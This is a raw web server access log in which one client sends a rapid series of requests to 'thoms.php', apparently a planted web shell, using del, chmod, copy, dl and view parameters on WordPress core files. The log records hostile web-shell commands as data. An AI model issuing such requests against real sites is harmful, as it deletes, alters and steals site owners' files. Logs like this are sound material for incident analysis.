45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19863 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /big-wife.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fscript-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fscript-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59379 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?chmod=json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?chmod=media-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19798 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14349 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?chmod=comment-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffonts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffonts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?chmod=script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?dl=comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fshortcodes.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fshortcodes.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?chmod=abilities-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12191 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?del=abilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmeta.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmeta.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17502 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59380 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24013 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /big-wife.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:12 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16257 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?del=rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?chmod=https-detection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:13 -0400] "GET /thoms.php?del=comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12300 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?del=l10n&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=l10n&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?dl=cache-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59376 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?dl=canonical.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcomment-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcomment-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:14 -0400] "GET /thoms.php?del=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59369 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13130 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12554 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?chmod=update.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Futf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Futf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?chmod=widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?dl=robots-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?del=theme-templates.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:15 -0400] "GET /thoms.php?del=PHPMailer&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14525 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /big-wife.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /big-wife.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fkses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fkses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
